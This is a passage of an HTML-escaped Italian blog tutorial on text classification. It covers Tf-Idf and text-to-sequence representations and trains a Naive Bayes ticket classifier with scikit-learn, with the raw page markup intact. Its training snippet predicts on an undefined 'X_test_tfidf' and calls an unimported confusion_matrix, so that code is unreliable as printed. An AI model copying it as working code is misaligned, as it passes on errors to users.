10s-5-2-8%200m19%200c-2%202-3%2010%200%2014%202%203%208%203%2010-1%204-9-4-19-10-13m14%200c-2%202-2%202-1%204v11l5%201%205-1v-10c3-5-4-9-9-5m-260%203c-4%203-2%205%201%202h4c1%202%201%203-4%203-3%201-5%204-3%207h12l-1-1-1-5c0-6-4-9-8-6m33%201c-3%202-3%209%200%2011%206%205%2014-5%208-11-3-2-5-3-8%200m-89%2063v29h153v-59H27v30m182-6c-4%204-1%2011%205%2010%203-1%204%200%201%202-2%202-2%202-5%200-2-1-3-1-1%202%201%203%206%202%209%200%207-8-2-21-9-14m22-1c-2%202-3%205-2%205l2-1%203-2c4%200%204%203-1%207-8%205-7%208%201%208%207%200%208-2%201-3h-4l4-4c4-2%205-4%205-5%200-5-5-8-9-5m14%205c-5%207-5%208-1%208%203%200%204%200%204%202%201%203%203%203%203%200l1-2v-2l-1-6c0-7-1-7-6%200m85-5c-3%202-4%2011-1%2015s11%202%2011-4c0-3-3-5-7-5-2%200-3-1-3-2l1-2%205%201h2c3-2-4-5-8-3m13%201l-2%203c0%202%203%201%204%200%200-2%205-2%205-1%200%203-1%205-2%205-2%200-7%205-7%207s1%202%206%202c7%200%208-2%201-3h-4l4-4c4-2%205-4%205-6%200-5-6-7-10-3m-237%203c-2%202-3%204-1%204l2-2c2-1%205-1%205%201l-4%202c-8%202-6%208%203%208%205%200%206-1%204-2l-1-5c0-7-4-9-8-6m39%201c-4%205-1%2012%204%2012s6-2%206-7c0-6-6-9-10-5M27%20345v29h153v-59H27v30m54%201l1%208%203%201c4%200%208-2%208-5%200-2%201-1%203%202%203%205%2010%204%2011-2%201-9-8-12-11-5-1%202-3%203-3%201%200-3-4-5-7-5-3%201-3%201-3-2l-1-2-1%209m115-7l-2%203c0%202%203%201%203%200l3-2c4%200%204%203-1%207-7%206-7%208%201%208%207%200%208-2%201-3h-4l4-4c4-2%205-4%205-5%200-6-6-8-10-4m14-1l-2%205c0%204%201%205%204%203%201-2%205%201%205%203%200%204-5%205-8%201-1-2-2%200%200%203s7%203%2010-1c2-3%201-7-4-9-5-1-5-3%200-3l3-1c-1-2-8-3-8-1m20%201c-2%202-2%202-1%203h2l4-2c3%200%203%203-2%207-8%205-7%208%201%208%207%200%208-2%201-3h-4l4-4c4-2%205-4%205-6%200-5-6-7-10-3m13%200c-2%203-2%204%200%204l1-1c0-2%201-2%203-2%204%200%204%203%200%204-3%200-3%202%201%203%202%201%203%205%201%205-3%200-5%200-5-2-1-2-3-1-3%201%200%204%207%206%2011%203v-11c3-5-6-9-9-4m13%201c-2%205-1%208%203%206h3c4%203%200%208-4%205-3-2-4-1-2%202%201%202%202%202%205%202%208-1%208-11%200-12-4%200-4-2%201-3%205%200%204-3-1-3-3%200-4%200-5%203m79%201c-1%206%200%207%203%205%203-1%207%202%206%204-1%203-6%202-8%200h-2c-2%205%209%207%2012%202%202-4-1-9-6-9-3%200-2-3%201-3%205-1%204-2-1-3h-4l-1%204\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/1f65f7eafee95d36f209716ff487ec41/0e3e2/tf-idf.webp 243w&quot; sizes=&quot;(max-width: 243px) 100vw, 243px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/1f65f7eafee95d36f209716ff487ec41/8aea6/tf-idf.png 243w&quot; sizes=&quot;(max-width: 243px) 100vw, 243px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 6 - Tf-Idf&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/1f65f7eafee95d36f209716ff487ec41/8aea6/tf-idf.png&quot; title=&quot;Figura 6 - Tf-Idf&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 6 - Tf-Idf&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;h3 id=&quot;text-to-sequence-of-numbers&quot;&gt;Text to sequence of numbers&lt;/h3&gt;&lt;p&gt;Un&amp;#x27;ultima rappresentazione, utilizzata principalmente nel contesto delle reti neurali, è quella che prevede di trasformare ogni contenuto testuale in una
sequenza di interi, dove ogni intero mappa un token specifico all&amp;#x27;interno di un apposito vocabolario. Questa rappresentazione è molto spesso utilizzata
insieme all&amp;#x27;utilizzo di &lt;a href=&quot;https://it.wikipedia.org/wiki/Word_embedding&quot;&gt;Word Embedding&lt;/a&gt;.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:728px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/5befc00f4ad530cd1d26a362e924b1c7/cecac/word-id.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:29.000000000000004%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;115\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20115\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M7%2023v18h83V4H7v19M176%205v17l1%2016h75V4h-38l-38%201m122%2016v17h83V5l-42-1h-41v17M10%207l-1%204v4l2-2c3-2%205-3%208-1s2%203-1%203c-6%200-7%202-1%204%204%202%204%202%204%205%200%205-2%206-8%206l-4-1v10h79v-4l-1-5c-2%200-2-1-2-4%200-4-2-7-4-6l-1%205c0%204%200%205-2%205s-2-1-2-6v-7h5l6%201c1%201%201%200%201-5V7L49%206%2010%207m168%2014v15h73V6h-73v15m122%200v15h78V6h-78v15M24%2021c0%207%200%209%202%209l1-4c0-5%202-8%204-7l1%206c0%204%200%205%202%205l1-6c0-6-2-8-6-7-2%201-2%200-2-3l-1-3c-2%200-2%202-2%2010m73-7l-2%203v1l1%207c0%204%200%205%202%205s2-1%202-5c0-5%200-6%202-6l1-1-1-1-2-1c0-1%201-2%203-2s2%200%202%208c0%206%200%208%202%208l1-9V11h-4c-4%200-5%200-7%203m83%206c0%208%200%2010%202%2010l1-6v-6l3%205c1%203%203%205%204%205l4-5%203-5v6c0%205%200%206%202%206l1-9-1-10c-2%200-7%207-7%209l-1%202c-1%201-2%200-5-5-5-9-6-8-6%203m124-8l-1%209c0%208%200%209%202%209s2-1%202-3c0-4%200-4%204-4l3-1c0-2-1-2-3-2-4%200-4%200-4-2%200-3%201-3%204-3l4-2c0-2-1-2-5-2l-6%201m38%202c0%203%200%203-3%203-5%200-8%206-5%2011%201%202%202%202%206%202h5V20l-1-9c-1%200-2%201-2%203M39%2018c-2%201%200%203%202%202h3l1%202c-5%201-6%203-6%205s0%203%205%203h5v-4c0-7-1-9-5-9l-5%201m24%201c-4%205-1%2011%204%2011s7-2%207-6c0-7-8-10-11-5m50%200c-2%202-2%207%200%209%201%202%207%203%209%201%202-1%200-2-4-2l-3-1c0-2%201-2%204-2s4%200%204-2c0-4-7-7-10-3m11%200a1123%201123%200%20015%2011h2l1-4%202-4%201%204c2%206%204%206%207-2l1-7c-2%200-4%203-4%205%200%203-2%202-3-1-1-5-4-5-5%200l-1%204-2-4-2-4c-2%200-2%200-2%202m37%200l-1%205c0%204%202%206%205%206%205%200%207-2%207-6%200-3%200-5-2-6s-7-1-9%201m50-1c-2%201%200%203%202%202h3l1%202c-5%201-6%203-6%205s0%203%205%203h5v-5c0-6-1-8-5-8l-5%201m13%206c0%205%200%206%202%206l1-5%201-5c3-1%203%200%203%205%200%204%200%205%202%205s2-1%202-5l1-5c1-2%203%202%203%206%200%203%200%204%202%204%201%200%202-10%200-12l-9-1h-8v7m41-6c-2%201%200%203%202%202h3c2%201%200%203-3%203s-4%203-4%205c1%202%202%202%206%202h5v-6c0-4%200-6-2-6h-7m85%200c-2%202%200%203%202%202h2c1%201%200%203-2%203s-4%202-4%205c0%201%202%202%206%202h5v-5l-1-7h-8M49%2081c-3%202-4%205-2%205l3-2c1-2%204-1%204%202%200%202-1%204-4%206-6%206-6%207%201%207l7-1c0-2-1-2-4-2h-3l3-4c4-4%205-7%203-9-2-3-5-3-8-2m15%200c-3%202-4%205-2%207v3c-4%203-1%208%205%208%205%200%208-7%204-9v-1l1-3c0-4-4-7-8-5m39%201c-2%201-3%205-1%207%201%200%201%201-1%202-4%205%203%2011%209%208%203-2%204-6%202-8v-3c2-3%200-6-3-7s-3-1-6%201m31-1c-3%202-4%205-2%205l3-2%203-1c2%202%201%204-1%205l-2%202%202%201c2%201%203%205%201%205-1%201-3%200-3-1h-5l3%203c5%204%2012-2%209-7v-3c3-5-3-9-8-7m39%201c-2%201-3%205-1%207v2c-5%204%202%2011%208%208%203-2%204-6%202-9v-3c1-2%201-2-1-5-4-2-5-3-8%200m111-1c-3%202-4%205-2%205l3-2%203-1c2%202%201%206-3%2010-6%206-6%206%202%206l6-1c0-2-1-2-4-2h-3l3-4c5-5%205-8%202-10s-4-2-7-1m13%201c-2%203-2%203-1%205v3c-2%203-1%207%202%209%206%202%2012-2%209-8v-5c1-5-5-8-10-4m17-1c-5%203-5%208%200%2010l3%202-3%203-2%203h2c5%200%2011-14%208-17-2-1-6-2-8-1M34%2087c-5%206-5%208%201%208%203%200%204%200%204%202l2%202%201-2%201-3v-2l-1-6c0-7-2-7-8%201m43-4c-2%203-1%204%202%201l3-1c3%201%202%205-2%2010l-5%205%207%201c7%200%209-2%202-3-4%200-4%200%200-4%203-4%204-8%202-10s-8-1-9%201m40-1l-1%205c0%203%200%203%204%203%203%200%204%201%204%202%200%203-3%205-5%204h-3c-4%202%204%205%208%203%205-3%205-11-1-12-4%200-4-3%200-3%206-1%205-3-1-3l-5%201m126%200c-2%201-3%205-1%206%201%201%200%202-1%203-2%205%202%209%208%208%203-1%205-5%203-8-1-1-2-2-1-3l1-3c0-3-5-5-9-3m14%200v7c1%200%201%201-1%202-3%204%202%2010%208%207%203-1%204-5%202-7v-3c3-5-5-10-9-6m71%205c-5%206-5%208%201%208%203%200%204%200%204%202l2%202%201-2%201-2%201-1-1-2-1-5c0-8-2-8-8%200\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/5befc00f4ad530cd1d26a362e924b1c7/c85cb/word-id.webp 300w,/static/5befc00f4ad530cd1d26a362e924b1c7/e88ff/word-id.webp 600w,/static/5befc00f4ad530cd1d26a362e924b1c7/8cb3e/word-id.webp 728w&quot; sizes=&quot;(max-width: 728px) 100vw, 728px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/5befc00f4ad530cd1d26a362e924b1c7/5a46d/word-id.png 300w,/static/5befc00f4ad530cd1d26a362e924b1c7/0a47e/word-id.png 600w,/static/5befc00f4ad530cd1d26a362e924b1c7/cecac/word-id.png 728w&quot; sizes=&quot;(max-width: 728px) 100vw, 728px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 7 - Text to sequence&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/5befc00f4ad530cd1d26a362e924b1c7/cecac/word-id.png&quot; title=&quot;Figura 7 - Text to sequence&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 7 - Text to sequence&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;La rappresentazione scelta dipende molto spesso dall&amp;#x27;algoritmo utlizzato e dal tipo di task che si va ad affrontare. Nella stragrande maggioranza dei casi
l&amp;#x27;appropccio è quello di utilizzare un modello Tf-Idf con algoritmi &amp;quot;classici&amp;quot;, e una rappresentazione Text to Sequence con approcci di Deep Learning.
Nella prossima sezione vedremo l&amp;#x27;applicazione e l&amp;#x27;utilizzo di queste trasformazioni nel contesto
del training vero e proprio di modelli per la classificazione testuale.&lt;/p&gt;&lt;h1 id=&quot;training-di-modelli&quot;&gt;Training di modelli&lt;/h1&gt;&lt;p&gt;Abbiamo visto quali sono le best practice che riguardano l&amp;#x27;elaborazione e la trasformazione del testo. Ora vediamo come addestrare i nostri modelli.
Sono presenti allo stato dell&amp;#x27;arte vari algoritmi che a seconda del contesto dimostrano di essere molto adatti per il task della classificazione
testuale.
Tra gli approcci classici troviamo &lt;a href=&quot;https://it.wikipedia.org/wiki/Classificatore_bayesiano&quot;&gt;&lt;em&gt;Classicatori Bayesiani&lt;/em&gt;&lt;/a&gt;,
&lt;a href=&quot;https://it.wikipedia.org/wiki/Macchine_a_vettori_di_supporto&quot;&gt;&lt;em&gt;Support Vector Machine&lt;/em&gt;&lt;/a&gt;,
&lt;a href=&quot;https://it.wikipedia.org/wiki/Modello_logit&quot;&gt;&lt;em&gt;Logistic Regression&lt;/em&gt;&lt;/a&gt;.
Tra gli approcci di tipi &lt;a href=&quot;https://it.wikipedia.org/wiki/Apprendimento_profondo&quot;&gt;&lt;em&gt;Deep Learning&lt;/em&gt;&lt;/a&gt; invece sono molto efficaci le
&lt;a href=&quot;https://it.wikipedia.org/wiki/Rete_neurale_convoluzionale&quot;&gt;&lt;em&gt;reti di tipo convolutivo&lt;/em&gt;&lt;/a&gt;,
ma in alcuni casi anche le &lt;a href=&quot;https://it.wikipedia.org/wiki/Rete_neurale_ricorrente&quot;&gt;&lt;em&gt;reti di tipo ricorrente&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Seguono due esempi di addestramento di modelli in grado di classificare ticket di supporto rispetto alla propria categoria,
utilizzando prima un Classificatore Bayesiano e poi una Rete Neurale Convolutiva.&lt;/p&gt;&lt;p&gt;Il codice integrale per questi esempi e anche per altri esempi con altri tra gli algoritmi citati, sono presenti sul repository
&lt;a href=&quot;https://github.com/smclab/blog-nlp&quot;&gt;Github&lt;/a&gt; relativo a questa
serie di articoli. Nel repository troverai il codice sorgente degli esempi descritto ed eseguibile in jupyter notebook ben documentati.&lt;/p&gt;&lt;h2 id=&quot;1-classificazione-testuale-con-classificatore-bayesiano&quot;&gt;1. Classificazione testuale con Classificatore Bayesiano&lt;/h2&gt;&lt;p&gt;Nel nostro caso utilizzeremo un &lt;a href=&quot;https://it.wikipedia.org/wiki/Classificatore_bayesiano&quot;&gt;&lt;em&gt;Classificatore Bayesiano&lt;/em&gt;&lt;/a&gt;
nella versione cosiddetta &amp;quot;ingenua&amp;quot; (Naïve Bayes Classifier). Si tratta di un Classificatore
Bayesiano semplificato con un modello di probabilità sottostante che fa l&amp;#x27;ipotesi di indipendenza delle caratteristiche,
cioè assume che la presenza o l&amp;#x27;assenza di un particolare attributo in un documento testuale non è correlata alla presenza o assenza di altri attributi&lt;/p&gt;&lt;p&gt;Per addestrare il modello utilizzeremo la libreria &lt;a href=&quot;https://scikit-learn.org/stable/&quot;&gt;&lt;em&gt;Scikit-Learn&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Ipotizziamo di avere a disposizione in un file csv i nostri ticket già preprocessati attraverso le tecniche già viste nelle sezioni precedenti. Inoltre
per ogni contenuto testuale conosciamo la categoria espressa tramite un&amp;#x27;identificativo numerico.&lt;/p&gt;&lt;p&gt;Il primo passo che dobbiamo svolgere è quello di leggere i dati e creare da una parte il training set per l&amp;#x27;addestramento, dall&amp;#x27;altra
il test set per la validazione. &lt;/p&gt;&lt;p&gt;Per fare ciò per prima cosa importiamo il contenuto del csv in un Pandas dataframe.
Successivamente estraiamo il testo e le etichette e costruiamo due liste apposite.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;1&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; pandas &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;as&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; pd&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;df_tickets = pd.read_csv(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;input/all_tickets.csv&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;text_list = df_tickets[&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;body&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;].tolist()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;labels_list = df_tickets[&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;category&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;].tolist()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 2 - Lettura dei dati&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Ora andiamo a trasformare la lista dei contenuti testuali in una rappresentazione di tipo Tf-Idf. Per fare ciò ci avvaliamo di funzioni definite dalla
libreria. Una volta fatto ciò, splittiamo l&amp;#x27;intero insieme in training e test set.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;2&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; sklearn.feature_extraction.text &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; CountVectorizer&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; sklearn.feature_extraction.text &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; TfidfTransformer&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; sklearn.model_selection &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; train_test_split&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;X_train, X_test, y_train, y_test = train_test_split(text_list, labels_list, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;test_size&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0.1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;random_state&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;count_vect = CountVectorizer()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;vectorized_data = count_vect.fit_transform(X_train)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;tfidf = TfidfTransformer()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;X_train = tfidf.fit_transform(vectorized_data)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 3 - Trasformazione e split dei dati&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;A questo punto passiamo all&amp;#x27;addestramento vero e proprio e successivamente alla valutazione delle prestazioni ottenute calcolando
attraverso funzioni predefinite l&amp;#x27;accuratezza raggiunta e la matrice di confusione relativa al test set.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;3&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; sklearn.naive_bayes &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; MultinomialNB&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; sklearn.metrics &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; f1_score, accuracy_score, classification_report&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;mnb = MultinomialNB()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;mnb.fit(X_train, y_train)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;pred = mnb.predict(X_test_tfidf)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;#print(f1_score(y_test, pred))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(accuracy_score(y_test, pred))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;#print(precision_score(y_test, pred))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;confusion_matrix(y_test, pred)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 4 - Traning e validazione&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Il modello a questo punto può essere salvato in formato &lt;strong&gt;pickle&lt;/strong&gt; per poi essere utilizzato per i propri scopi. Il modello prende in
input una rappresentazione Tf-Idf e non il testo naturale, quindi prima di dare il contenuto testuale in input al modello,
bisogna sempre convertirlo nella rappresentazione scelta(in questo caso Tf-Idf).&lt;/p&gt;&lt;p&gt;Scikit-learn mette a disposizione uno strumento che semplifica questi aspetti e permette di fatto di definire un modello end-to-end, cioè un
modello che prende direttamente in input il testo e restituisce in output la classificazione desiderata.
Questo avviene attraverso la classe &lt;a href=&quot;https://scikit-learn.org/stable/modules/generated/sklearn.pipeline.Pipeline.html&quot;&gt;&lt;em&gt;sklearn.pipeline.Pipeline&lt;/em&gt;&lt;/a&gt;,
attraverso la quale è possibile definire in un unico oggetto la lista di tutte le trasformazioni e azioni da svolgere.
Il codice precedente sarà in parte replicato dal codice che segue.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;4&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; sklearn.feature_extraction.text &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; CountVectorizer, TfidfTransformer&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; sklearn.naive_bayes &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; MultinomialNB&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; sklearn.pipeline &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; Pipeline&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;text_clf = Pipeline([&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        (&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;vect&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, count_vect),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        (&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;tfidf&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, TfidfTransformer()),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        (&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;clf&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, MultinomialNB())&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    ])&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 5 - Pipeline end-to-end Scikit Learn&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Un&amp;#x27;altra funzione molto utile da segnalare, definita dalla classe
&lt;a href=&quot;https://scikit-learn.org/stable/modules/generated/sklearn.model_selection.GridSearchCV.html&quot;&gt;&lt;em&gt;sklearn.model_selection.GridSearchCV&lt;/em&gt;&lt;/a&gt;,
